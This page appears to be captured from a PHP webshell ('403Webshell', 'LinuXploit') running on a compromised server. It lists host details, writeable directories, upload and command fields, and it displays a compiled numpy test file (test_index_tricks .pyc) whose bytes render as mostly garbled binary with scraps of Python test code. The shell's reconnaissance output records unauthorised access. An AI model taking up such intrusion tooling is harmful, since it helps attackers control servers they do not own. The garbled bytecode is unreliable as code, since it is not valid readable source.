403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_index_tricks.cpython-311.pyc
�

���c O��P�ddlZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
mZmZmZmZmZmZmZmZmZGd�d��ZGd�d��ZGd�d	��ZGd
�d��ZGd�d
��ZGd�d��Zd�ZGd�d��Zd�ZGd�d��Z d�Z!dS)�N)�assert_�assert_equal�assert_array_equal�assert_almost_equal�assert_array_almost_equal�
assert_raises�assert_raises_regex)�mgrid�ogrid�ndenumerate�
fill_diagonal�diag_indices�diag_indices_from�	index_exp�ndindex�r_�s_�ix_c��eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	e
j�dgd	���d
���Z
d�ZdS)
�TestRavelUnravelIndexc�
	�ttjdd��d��ttjdd���d��tt��5tjdd���ddd��n#1swxYwYtt��5tjdd���ddd��n#1swxYwYtt��5tjdd�	��ddd��n#1swxYwYtt��5tjdd�
��ddd��n#1swxYwYttjdd��d��ttjdd��d��ttjdd��d��tttjdd��tttjd
d��tttjdd��tttjdd��tttjdd��tttjdd��tttjdd��tttjdd��ttjdd��gd���ttjgd�d��d��tjgd�gd�g��}ttj|d��gd���ttj|dd���gd���ttj|dd� ��gd!���ttj|d"d#� ��gd$���ttjd%d&��d'��ttjtjgd���d��gd�gd�g��ttjtjgd���dd���gd�gd�g��ttjd'd&��gd%���dS)(N�)rr��r)�indices�shape)r�hape)r�)��^)�ims)�dims)r�B���g�?�)���r)rr)rr&)rr)皙�����?g�.)r%��)rrr%)r)r*r*)r%�r)�r*)��)�%�F��order)�r.�
)r%r*�clip��mode)r-���r%r%)r5�wrap)�r4r4)r)rr%r)r*r,��	iU)r�np�
unravel_indexr�	TypeError�ravel_multi_index�
ValueError�array)�self�arrs  �C/usr/lib/python3/dist-packages/numpy/lib/tests/test_index_tricks.py�
test_basicz TestRavelUnravelIndex.test_basics/���R�%�a��0�0�&�9�9�9�	�R�%�a�,2�4�4�4�&,�	.�	.�	.��9�
%�
%�	5�	5���Q�V�4�4�4�4�	5�	5�	5�	5�	5�	5�	5�	5�	5�	5�	5����	5�	5�	5�	5��9�
%�
%�	-�	-���Q�V�,�,�,�,�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-����	-�	-�	-�	-��9�
%�
%�	0�	0���S�h�/�/�/�/�	0�	0�	0�	0�	0�	0�	0�	0�	0�	0�	0����	0�	0�	0�	0��9�
%�
%�	1�	1���S�x�0�0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1�	�R�)�&�&�9�9�1�=�=�=��R�%�c�8�4�4�g�>�>�>��R�)�'�8�<�<�c�B�B�B��j�"�"2�B��?�?�?��i��!1�3��?�?�?��j�"�"2�A�v�>�>�>��j�"�"6���H�H�H��j�"�"6���G�G�G��j�"�"6���H�H�H��j�"�"6���G�G�G��i��!5�y�&�I�I�I��R�%�o�y�A�A�9�9�9�M�M�M��� ����I�6�6��	I�	I�	I��h�	�	�	�9�9�9�-�.�.���R�)�#�v�6�6����E�E�E��� ��f�C�8�8�8�,�,�,�	H�	H�	H��� ��f�6�:�:�:�L�L�L�	J�	J�	J��R�)�#�v�<L�M�M�M�!�\�\�	#�	#�	#��R�)�,��E�E�t�L�L�L��R�%�b�h�|�|�|�&<�&<�f�E�E��i�i����+�	-�	-�	-����R�X�l�l�l�3�3�V�3�G�G�G�
�Y�Y�	�	�	�"�	$�	$�	$�	�R�%�d�L�9�9�<�<�<�H�H�H�H�HsH�A?�?B�B�C�C�C� D�D�
D�"E�E	�E	c	���d}d}tt|tjgd��tt|tjdd��tt|tjtjg��d��ttjtjgt���d��gggg��tt|tjggfd��tt|tjgdgfd��tt|tjtjg��tjg��fd��ttjtjgt���tjgt���fd��g��ttjtjgggt���d��g��dS)	Nz9indices must be integral: the provided empty sequence waszonly int indices permitted)�
r)r+���dtype�rJr)�abc)r+r))r	rAr?r@rDr�intrB)rE�msg1�msg2s   rG�test_empty_indicesz(TestRavelUnravelIndex.test_empty_indicesFs���J��+���I�t�R�-=�r�:�N�N�N��I�t�R�-=�r�:�N�N�N��I�t�R�-=�r�x��|�|�&�	(�	(�	(��R�%�b�h�r��&<�&<�&<�j�I�I��"�b�\�	#�	#�	#��I�t�R�-A�B��8�#�	%�	%�	%��I�t�R�-A�B���=�#�	%�	%�	%��I�t�R�-A��X�b�\�\�2�8�B�<�<�0�&�	:�	:�	:��R�)���"�C�(�(�(�"�(�2�S�*A�*A�*A�B�F�L�L�MO�	Q�	Q�	Q��R�)�"�(�B��8�3�*G�*G�*G���� �	"�	"�	"�	"�	"�c��tjtjkr<ddgddgddgddgdd	gddgd
dgf}ttj|d��dd
g��tttjdd��d
gd
gf}tjtj��j	dz}ttj||df��d
g��tttj||dzdf��ttj||dfd���d
g��tttj||dzdfd���dS)Nr�r)r+�ur9riK	ir)r.r,�x�$i�
r=r*l�z�l
nm)l��lr0r1)
r?�intp�int64rrBrrCr@�iinfo�max)rErF�	dummy_arr�half_maxs    rG�test_big_indicesz&TestRavelUnravelIndex.test_big_indicesZss��
�7�b�h����r�7�Q��F�Q��H�r�1�g��$�<�!�Q��!�Q��1�C���$�S�*F�G�G��\�*�
,�
,�
,�
	�j�"�"2�A�7I�J�J�J��S�!��I�	��8�B�G�$�$�(�A�-���� ��X�q�M�:�:�Q�C�	A�	A�	A��j�� �)�h�q�j�!�_�	>�	>�	>��� ��X�q�M��E�E�E��s�	L�	L�	L��j�� �)�h�q�j�!�_�C�	I�	I�	I�	I�	I�	IrTc	�&�tjtjtjtjtjtjfD�]�}tjgd�gd�g|���}d}d|dz|dz}ttj	||��|��t|tj
||����|dd|dzz}ttj	||d	�
��|��t|tj
||d	�
����tjgd�gd�gd�g|���}d}d
d|dz|dzz|dz}ttj	||��|��t|tj
||����|dd|dd|dzzzz}ttj	||d	�
��|��t|tj
||d	�
�������dS)N)rrrrr)r%)rr*rr)rrrL)r+r=r=rrr+r0r1)rr)rrr>r+)r+r=rJrJr)r?�int16�uint16�int32�uint32r[�uint64rDrrBr@)rErM�coordsr�uncoordss     rG�test_dtypesz!TestRavelUnravelIndex.test_dtypesrs5���h��	�2�8��i���2�9�6�	O�	O�E��X�#�#�#�%7�%7�%7�8��G�G�G�F��E�����{�6�!�9�,�H���-�f�e�<�<�h�G�G�G����!1�(�E�!B�!B�C�C�C��a�y��6�!�9��,�H���$�V�U�#�>�>�>��
J�
J�
J����!1�(�E��!M�!M�!M�N�N�N��X�#�#�#�%7�%7�%7�9K�9K�9K�L�����F��E��1�V�A�Y�;�v�a�y�0�1�&��)�;�H���-�f�e�<�<�h�G�G�G����!1�(�E�!B�!B�C�C�C��a�y��F�1�I�a��q�	�k�$9�!:�:�H���$�V�U�#�>�>�>��
J�
J�
J����!1�(�E��!M�!M�!M�N�N�N�N�/	O�	OrTc�<�ttjgd�dd���tjgd�d����ttjgd�dd���tjgd�d����tttjgd�d��dS)N)r+rr$r)r%r)r,r<r;r6)rrr*r)r;�raiser5rk)rrrr)rr?rBrrC�rEs rG�test_clipmodesz$TestRavelUnravelIndex.test_clipmodes�s����� ����
�F�K�K�K�� ����}�=�=�	?�	?�	?�	�R�)�-�-�-��0P�Q�Q�Q��)�,�,�,�
�F�F�	H�	H�	H�	���,�m�m�m�]�	L�	L�	L�	L�	LrTc��tjgd�d��\}}t|jj��t|jj��dS)N�rrr))r%r+)r?r@r�flags�	writeable)rE�x�ys   rG�test_writeabilityz'TestRavelUnravelIndex.test_writeability�sH����	�	�	�6�2�2���1����!�"�"�"����!�"�"�"�"�"rTc���tjdd��}t|d��ttdtjdgd��ttdtjdgd��dS)NrrKz0d arrayz
out of boundsr)r?r@rr	rC�rErrs  rG�test_0dzTestRavelUnravelIndex.test_0d�sp����Q��#�#���Q������J�
�B�4D�q�c�2�N�N�N�����)9�A�3��	D�	D�	D�	D�	DrTr7)r5r;rkc�N�tjtjdtj���d|���}|jdksJ�tt��5tjtjdtj���d|���ddd��dS#1swxYwYdS)N)r)rrL�rrrr6�r)r)r)r?rB�zerosrZrrrC)rEr7�ress   rG�test_empty_array_ravelz,TestRavelUnravelIndex.test_empty_array_ravel�s���"��H�V�2�7�3�3�3�Y�T�K�K�K���y�D� � � � �
�:�
&�
&�	K�	K�� ��H�V�2�7�3�3�3�Y�T�
K�
K�
K�
K�	K�	K�	K�	K�	K�	K�	K�	K�	K�	K�	K�	K����	K�	K�	K�	K�	K�	Ks�6B�B�!Bc�R�tjtjdtj���d��}t	|��dksJ�td�|D����sJ�t
t��5tjdgd��ddd��dS#1swxYwYdS)NrrLryr)c3�,K�|]}|jdkV��dS)rzN)r)�.0�as  rG�	<genexpr>zATestRavelUnravelIndex.test_empty_array_unravel.<locals>.<genexpr>�s(����0�0�q�1�7�d�?�0�0�0�0�0�0rTr)r?r@r{rZ�len�allrrC)rEr|s  rG�test_empty_array_unravelz.TestRavelUnravelIndex.test_empty_array_unravel�s�����r�x����9�9�9�9�E�E���3�x�x�1�}�}�}�}��0�0�C�0�0�0�0�0�1�1�1�
�:�
&�
&�	-�	-���a�S�)�,�,�,�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-����	-�	-�	-�	-�	-�	-s�8B�B �#B N)�__name__�
__module__�__qualname__rHrSr`rirmrtrw�pytest�mark�parametrizer}r�rKrTrGrrs�������5I�5I�5I�n"�"�"�(I�I�I�0O�O�O�6
L�
L�
L�#�#�#�D�D�D��[���V�%>�%>�%>�?�?�K�K�@�?�K�-�-�-�-�-rTrc��eZdZd�Zd�Zd�Zd�Zej�	dddg��d���Z
d	�Zd
�Zd�Z
dS)
�TestGridc��tddd�}tddd�}t|jdk��t|jdk��t|ddk��t|dd��t|ddk��t|d|dz
dd��t|d|dd	zd��t|d|dz
d
d��dS)Nr$r�$@r')rJ)�r�ggfffff�?g�q�q�?)r
rrr)rEr��bs   rGrHzTestGrid.test_basic�s����"�Q�s�(�O���"�Q�s�(�O�����5� �!�!�!����5� �!�!�!���!���
�����A�b�E�1�%�%�%���!���
�����A�a�D��1��I�s�B�/�/�/��A�b�E�1�Q�4��;��3�3�3��A�a�D��1��I�w��3�3�3�3�3rTc��tjddd���\}}t|d��t|tddd�d��dS)NrrJT)�retstepg9/����?yI@r4)r?�linspacerrr
)rErs�sts   rG�test_linspace_equivalencez"TestGrid.test_linspace_equivalence�sN����A�r�4�0�0�0���2��B��'�'�'�!�!�U�1�R��8�_�b�9�9�9�9�9rTc�d�tddd�ddd�f}tddd�ddd�f}t|jdk��t|jd	k��t|d
d
dd�ft	jdd����t|ddd�d
fdt	jdd��z��t
|d
ddd�ft	jdd��d
��t
|ddd�dfdt	jdd��zd
��t
|d
ddd�f|d
d
dd�fz
dt	jdd��zd
��t
|ddd�df|ddd�d
fz
dt	jdd��zd
��dS)Nr$rr����rr'g�������?)rrJrJ)rr�r�rrJ�dr�r�)r
rrrr?�onesr)rE�cr�s   rG�test_ndzTestGrid.test_nd�s����"�Q�s�(�B�q��H�$�%���"�Q�s�(�B�q��H�$�%�����;�&�'�'�'����;�&�'�'�'��1�Q�4��1�1�1��:����C�(8�(8�'8�9�9�9��1�Q�4����1��:�r�"�'�"�c�*:�*:�':�;�;�;�!�!�A�$�r�1�1�1�u�+�r�w�r�3�/?�/?��D�D�D�!�!�A�$�q�q�q�"�u�+�q����S�1A�1A�/A�2�F�F�F�!�!�A�q�!�!�!�G�*�q��A�q�q�q��z�"9�"%�b�g�b�#�&6�&6�"6��	<�	<�	<�!�!�A�q�q�q�!�G�*�q��A�A�A�q��z�"9�"%�b�g�b�#�&6�&6�"6��	<�	<�	<�	<�	<rTc���tddd�ddd�f}tddd�ddd�f}tj|�}t	||��D]\}}t||���dS)Nr$rr�r�r)r
rr?�broadcast_arrays�zipr)rE�	grid_full�grid_sparse�grid_broadcast�fr�s      rG�test_sparsezTestGrid.test_sparse�s����B�q��H�b��3�h�.�/�	��B�q��H�b��3�h�.�/���,�k�:���	�>�2�2�	�	�D�A�q���A�����	�	rTzstart, stop, step, expected)NrJr�)��rJ)i����r�N)i�c��t|||�|||�f}t|||�}t|j|d��t|j|d��dS)Nrr)r
r�size)rE�start�stop�step�expected�grid�
grid_smalls       rG�test_mgrid_size_none_handlingz&TestGrid.test_mgrid_size_none_handling�sc���U�4��_�e�D��o�5�6���5��d�?�+�
��T�Y����,�,�,��Z�_�h�q�k�2�2�2�2�2rTc�*�tddd�f}ttjd��tjd��tjd���f}t|jtjk��t
||��tddd�}ttjd��tjd��tjd���}t|jtjk��t
||��dS)Nr'���Q��?)r
r?�float32rrM�float64r)rE�grid64�grid32s   rG�test_accepts_npfloatingz TestGrid.test_accepts_npfloating�s����s�4��|�}�&���r�z�#���r�z�$�'7�'7��
�3���G�H�J������
�*�+�+�+�!�&�&�1�1�1��s�4��|�$���r�z�#���r�z�$�'7�'7��
�3���G�H������
�*�+�+�+�!�&�&�1�1�1�1�1rTc�B�tddd�f}ttjd��tjd��tjd���f}t|jtjk��t||��tdtjd��d�}tdtjd��d�f}t|j|jcxkotjknc��t
||d��tddd�}ttjd��tjd��tjd���}t|jtjk��t||��dS)Nr'r�rry333333@)r
r?�
longdoublerrMrr)rEr��grid128�
grid128c_a�
grid128c_bs     rG�test_accepts_longdoublez TestGrid.test_accepts_longdoublesd���s�4��|�}�&����M�#���r�}�T�2�2�2�=��3E�3E�E�F�
��	��
���.�/�/�/�!�&�'�2�2�2��1�R�]�1�-�-�d�2�3�
��1�R�]�1�-�-�d�2�3�5�
��
� �J�$4�E�E�E�E��
�E�E�E�E�F�F�F��:�z�!�}�5�5�5��s�4��|�$����M�#���r�}�T�2�2�2�=��3E�3E�E�
��	��
���.�/�/�/�!�&�'�2�2�2�2�2rTc	���ttddd�ftddtjd���f��ttddd�tddtjd�����tddd�}tddd�fd}t	|j|jcxkotjknc��t||��tddtjd���}tddtjd���fd}t	|j|jcxkotj	knc��t||��dS)Nr'g333333�?y@yffffff
@r)
rr
r?�	complex64rrMr�r�clongdoubler�)rE�grid64_a�grid64_b�	grid128_a�	grid128_bs     rG�test_accepts_npcomplexfloatingz'TestGrid.test_accepts_npcomplexfloatingsf��!��#�c�"�*�+���s�3�r�|�B�/?�/?�'?�'@�!B�	
�	
�	
�
	"��#�c�"�*��u�S��R�\�"�-=�-=�%=�>�	
�	
�	
�
��S���&����S����(��+�����(�.�>�>�>�>�B�J�>�>�>�>�?�?�?��8�X�.�.�.��#�c�"�.��"6�"6�6�7�	��#�c�"�.��"6�"6�6�7�9�!�<�	��	��9�?�C�C�C�C�b�m�C�C�C�C�D�D�D��8�X�.�.�.�.�.rTN)r�r�r�rHr�r�r�r�r�r�r�r�r�r�rKrTrGr�r��s�������
4�
4�
4�:�:�:�
<�<�<�����[���:�"�#�=
���
3�
3�	��
3�2�2�2�3�3�3�,/�/�/�/�/rTr�c�2�eZdZd�Zd�Zd�Zd�Zd�Zd�ZdS)�TestConcatenatorc���ttdtjgd�����tjd��}t|dd|f}t|gd���dS)N)rrr)r%r+r*r+r)rrrrrrrrrrrr)rrr?rDr�)rEr�r�s   rG�test_1dzTestConcatenator.test_1d/sd���2�.�/���:L�:L�:L�1M�1M�N�N�N��G�A�J�J���q�!�Q��z�N���1�B�B�B�C�C�C�C�CrTc�X�tddd�f}t|jdk��dS)Ng333333$@rrJ�f8)rrrM�rE�gs  rG�test_mixed_typez TestConcatenator.test_mixed_type5s-���t�Q�r�T�z�N�����4�� � � � � rTc��tdtjdg��tjgd���df}t|jdk��dS)Ng333333$�r)rr)r%g$@r�)rr?rDrrMr�s  rG�test_more_mixed_typez%TestConcatenator.test_more_mixed_type9sG���u�b�h��s�m�m�R�X�i�i�i�%8�%8�$�>�?�����4�� � � � � rTc���tddd�}t|jdk��tddtjd���}t|jdk��dS)NrrYyY@)�d)rrrr?r�r�s  rG�test_complex_stepz"TestConcatenator.test_complex_step=s^���q��D�y�M�����6�!�"�"�"�
�q��B�L��&�&�&�'�����6�!�"�"�"�"�"rTc��tj�dd��}tj�dd��}td||f}t	|jdk��t
|dd�dd�f|��t
|dd�dd�f|��t||f}t	|jdk��t
|dd�dd�f|��t
|dd�dd�f|��dS)Nr+�1)r+rJ)rJr+)r?�random�randrrrr)rEr�r�r�s    rG�test_2dzTestConcatenator.test_2dFs����I�N�N�1�a� � ���I�N�N�1�a� � ���s�A�q�y�M�����7�"�#�#�#��1�Q�Q�Q����U�8�Q�'�'�'��1�Q�Q�Q����U�8�Q�'�'�'��q�!�t�H�����7�"�#�#�#��1�R�a�R����U�8�Q�'�'�'��1�Q�R�R����U�8�Q�'�'�'�'�'rTc�6�ttdtjd��dfgd���ttgd�tjd��fgd���tttjd��gd�fgd���dS)Nrrr�rrrr))rrrr)ro)rrr?rDrls rGrwzTestConcatenator.test_0dRs����R��2�8�A�;�;��)�*�I�I�I�6�6�6��R�	�	�	�2�8�A�;�;�.�/����>�>�>��R������Y�Y�Y�.�/����>�>�>�>�>rTN)	r�r�r�r�r�r�r�r�rwrKrTrGr�r�.sq������D�D�D�!�!�!�!�!�!�#�#�#�
(�
(�
(�?�?�?�?�?rTr�c��eZdZd�ZdS)�TestNdenumeratec��tjddgddgg��}ttt	|����gd���dS)Nrrr)r%)))rrr))rrr)rr)))rrr%)r?rDr�listr�rEr�s  rGrHzTestNdenumerate.test_basicYsX���H�q�!�f�q�!�f�%�&�&���T�+�a�.�.�)�)�I�I�I�	K�	K�	K�	K�	KrTN)r�r�r�rHrKrTrGr�r�Xs(������K�K�K�K�KrTr�c��eZdZd�Zd�ZdS)�TestIndexExpressionc���tjd��}t|dd�|tdd���t|dd�|tdd���dS)Nrr$)r?�arangerrrr�s  rG�test_regression_1z%TestIndexExpression.test_regression_1`s^���I�a�L�L���Q�s��s�V�Q�r�#�2�#�w�Z�(�(�(��Q�s��s�V�Q�y��"��~�.�/�/�/�/�/rTc	�,�tj�ddd��}t|dd�dd�ddgf|tdd�dd�ddgf��t|dd�dd�ddgf|t
dd�dd�ddgf��dS)Nr%r+r*r)rr)r?r�r�rrrr�s  rG�
test_simple_1z!TestIndexExpression.test_simple_1fs����I�N�N�1�a��#�#���Q�q�q�q�"�1�"�q�!�f�}�%�q��1�1�1�b�q�b�1�a�&�=�)A�'B�C�C�C��Q�q�q�q�"�1�"�q�!�f�}�%�q��A�A�A�r��r�A�q�6�M�):�';�<�<�<�<�<rTN)r�r�r�r�r�rKrTrGr�r�_s2������0�0�0�=�=�=�=�=rTr�c�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)�TestIx_c��tjtd����\}t|jtj��tjg��\}t|jtj��tjtjgtj�����\}t|jtj��dS)NrrL)r?r�rangerrMrZrDr�r�s  rGr�zTestIx_.test_regression_1ns���
�V�E�!�H�H�
�
����Q�W�b�g�&�&�&�
�V�B�Z�Z����Q�W�b�g�&�&�&��V�B�H�R�r�z�2�2�2�
3�
3����Q�W�b�j�)�)�)�)�)rTc
�����d}ttjfD]Ȋtj�fd�|D���}t	t||����D]�\�\}}t
|j�|��tt�fd�t	|j��D������ttj
|jtj��������dS)N)r%r+r)rc�&��g|]
}�|����SrKrK)r��sz�funcs  �rG�
<listcomp>z0TestIx_.test_shape_and_dtype.<locals>.<listcomp>~s!���7�7�7�2�d�d�2�h�h�7�7�7rTc3�6�K�|]\}}|�k�|dkV��dS)rNrK)r��j�sh�ks   �rGr�z/TestIx_.test_shape_and_dtype.<locals>.<genexpr>�s/�����N�N���2�q�A�v�v�B�!�G�v�v�v�v�N�NrT)
r�r?r�r�	enumerater�rrrr��
issubdtyperM�integer)rE�sizes�arraysr�r�r�r�s     @@rG�test_shape_and_dtypezTestIx_.test_shape_and_dtypezs��������B�I�&�	<�	<�D��V�7�7�7�7��7�7�7�8�F�'��F�E�(:�(:�;�;�
<�
<�
��7�A�r��Q�W�Q�Z��,�,�,���N�N�N�N��1�7�1C�1C�N�N�N�N�N�O�O�O���
�a�g�r�z�:�:�;�;�;�;�
<�	<�	<rTc��gd�}tj|��\}ttj|��d|��dS)N)TFTTr)r?�nonzerorr)rE�bool_a�int_as   rG�	test_boolzTestIx_.test_bool�sA��*�*�*����F�#�#����R�V�F�^�^�A�&��.�.�.�.�.rTc�V�gd�gd�g}tttj|��dS)Nro�r%r+r*)rrCr?r)rE�idx2ds  rG�test_1d_onlyzTestIx_.test_1d_only�s.�����I�I�I�&���j�"�&�%�0�0�0�0�0rTc���d}tj|��}t||��}t|dj|df��t|djd|f��t|j|f��dS)Nr+rr)r?r�rrr)rE�length_of_vectorrr�outs    rG�test_repeated_inputzTestIx_.test_repeated_input�sy�����I�&�'�'���!�Q�i�i���S��V�\�$4�a�#8�9�9�9��S��V�\�A�'7�#8�9�9�9��Q�W�/�1�2�2�2�2�2rTN)r�r�r�r�r�r�rrrKrTrGr�r�ms_������
*�
*�
*�<�<�<�/�/�/�
1�1�1�3�3�3�3�3rTr�c��tjtjgd�g��ddtjgd�g��f}t|gd�g��dS)Nrorr)rrr)rrr%r+r*)r?�c_rDr)r�s rG�test_c_r	�sW��
��b�h�	�	�	�{�#�#�Q��2�8�Y�Y�Y�K�+@�+@�@�A�A���-�-�-�.�/�/�/�/�/rTc�8�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	dS)	�TestFillDiagonalc	��tjdt��}t|d��t	|tjgd�gd�gd�g����dS)N)r)r)r+�r+rr�rr+r�rrr+�r?r{rPr
rrDr�s  rGrHzTestFillDiagonal.test_basic�si���H�V�S�!�!���a������
�r�x����"���"���$�%�%�	�	�	�	�	rTc���tjdt��}t|d��t	|tjgd�gd�gd�gd�gd�gd�gd�gd�gd�gd�g
����dS)NrNr+r
rr�rrrrr�s  rG�test_tall_matrixz!TestFillDiagonal.test_tall_matrix�s����H�W�c�"�"���a������
�r�x����"���"���"���"���"���"���"���"���"���	$�	%�	%�	�	�	�	�	rTc���tjdt��}t|dd��t	|tjgd�gd�gd�gd�gd�gd�gd�gd�gd�gd�g
����dS)NrNr+Tr
rrrrr�s  rG�test_tall_matrix_wrapz&TestFillDiagonal.test_tall_matrix_wrap�s����H�W�c�"�"���a��D�!�!�!��
�r�x����"���"���"���"���"���"���"���"���"���	$�	%�	%�	�	�	�	�	rTc	��tjdt��}t|d��t	|tjgd�gd�gd�g����dS)N)r)rJr+)
r+rrrrrrrrr)
rr+rrrrrrrr)
rrr+rrrrrrrrr�s  rG�test_wide_matrixz!TestFillDiagonal.test_wide_matrix�sp���H�W�c�"�"���a������
�r�x�7�7�7�7�7�7�7�7�7�9�:�:�	�	�	�	�	rTc���tjdt��}t|d��tjgd���}ttj|dk��||||f��dS)N)r)r)r)r)r%r�r)r?r{rPr
rDr�where)rEr��is   rG�test_operate_4d_arrayz&TestFillDiagonal.test_operate_4d_array�sb���H�\�3�'�'���a������H�Y�Y�Y�����R�X�a�1�f�%�%��1�a��|�4�4�4�4�4rTc��tjdt��}ttd��5t|d��ddd��dS#1swxYwYdS)Nr)�at least 2-dr+�r?r{rPr	rCr
r�s  rG�test_low_dim_handlingz&TestFillDiagonal.test_low_dim_handling�s����H�Q�����
 ��^�
<�
<�	 �	 ��!�Q����	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 ����	 �	 �	 �	 �	 �	 ��A�A�Ac��tjdt��}ttd��5t|d��ddd��dS#1swxYwYdS)N)r)r)r,r)�equal lengthrrr�s  rG�test_hetero_shape_handlingz+TestFillDiagonal.test_hetero_shape_handling�s���
�H�Y��$�$��
 ��^�
<�
<�	 �	 ��!�Q����	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 �	 ����	 �	 �	 �	 �	 �	 r N)
r�r�r�rHrrrrrr#rKrTrGrr�s}������������ ��� ���5�5�5� � � � � � � � rTrc
��td��}tjgd�gd�gd�gd�g��}d||<t|tjgd�gd�gd	�gd
�g����tdd��}tjd
t
��}d||<t|tjddgddggddgddggg����dS)Nr%)rrr)r%)r+r*r,r=)r>rJr�r<)r4���r�)r�rr)r%)r+r�r,r=)r>rJr�r<)r4r%r&r�rr))rrrrr)rr?rDrr{rP)�dir��d3s   rG�test_diag_indicesr*�s��	�a���B�
��,�,�,��,�,�!�/�/�"�"�"�$�	%�	%�A�
�A�b�E��	�2�8�^�^�^�#�^�^�%�%�%�&�&�&�(�)�)�
�
�
�
�a��	�	�B�	���C� � �A�
�A�b�E��	�2�8�q�!�f��!�f���!�f��!�f��� � �
�
�
�
�
rTc� �eZdZd�Zd�Zd�ZdS)�TestDiagIndicesFromc���tj�d��}t|��\}}t|tjd����t|tjd����dS)Nr:r%)r?r�rrr�)rErr�rr�s    rG�test_diag_indices_fromz*TestDiagIndicesFrom.test_diag_indices_froms^���I���V�$�$�� ��#�#���1��1�b�i��l�l�+�+�+��1�b�i��l�l�+�+�+�+�+rTc��tjd��}ttd��5t	|��ddd��dS#1swxYwYdS)Nr,r)r?r�r	rCrrvs  rG�test_error_small_inputz*TestDiagIndicesFrom.test_error_small_inputs����G�A�J�J��
 ��^�
<�
<�	!�	!��a� � � �	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!�	!�	!s�A�A�Ac��tjdt��}ttd��5t|��ddd��dS#1swxYwYdS)N)r)r)rr)r")r?r{rPr	rCrrvs  rG�test_error_shape_mismatchz-TestDiagIndicesFrom.test_error_shape_mismatchs����H�\�3�'�'��
 ��^�
<�
<�	!�	!��a� � � �	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!����	!�	!�	!�	!�	!�	!s�A
�
A�AN)r�r�r�r/r1r3rKrTrGr,r,�sA������,�,�,�!�!�!�
!�!�!�!�!rTr,c��ttddd����}d�ttjd����D��}t||��ttd����}t||��ttd����}t|ttd������tt����}t
|dg��ttd����}t
|dg��ttdg���}t
|g��dS)	Nrrr)c��g|]\}}|��SrKrK)r��ix�es   rGr�z test_ndindex.<locals>.<listcomp>s��A�A�A�u�r�1��A�A�ArTro)r)rKr)r�rrr?r{rr)rrr�s  rG�test_ndindexr8s���W�Q��1�
�
���A�A�A��B�H�Y�,?�,?� @� @�A�A�A�H��q�(�#�#�#��W�Y�
�
� � �A��q�(�#�#�#�	
�W�T�]�]���A��q�$�w�q�z�z�*�*�+�+�+�	
�W�Y�Y���A���R�D�����W�R�[�[���A���R�D����	
�W�q�c�]���A���B�����rT)"r��numpyr?�
numpy.testingrrrrrrr	�numpy.lib.index_tricksr
rrr
rrrrrrrrr�r�r�r�r�r	rr*r,r8rKrTrG�<module>r<s���
�
�
�
�������������������������������������������������k-�k-�k-�k-�k-�k-�k-�k-�Zp/�p/�p/�p/�p/�p/�p/�p/�f'?�'?�'?�'?�'?�'?�'?�'?�TK�K�K�K�K�K�K�K�=�=�=�=�=�=�=�=�'3�'3�'3�'3�'3�'3�'3�'3�T0�0�0�
D �D �D �D �D �D �D �D �N
�
�
�8!�!�!�!�!�!�!�!�&����rT

Youez - 2016 - github.com/yon3zu
LinuXploit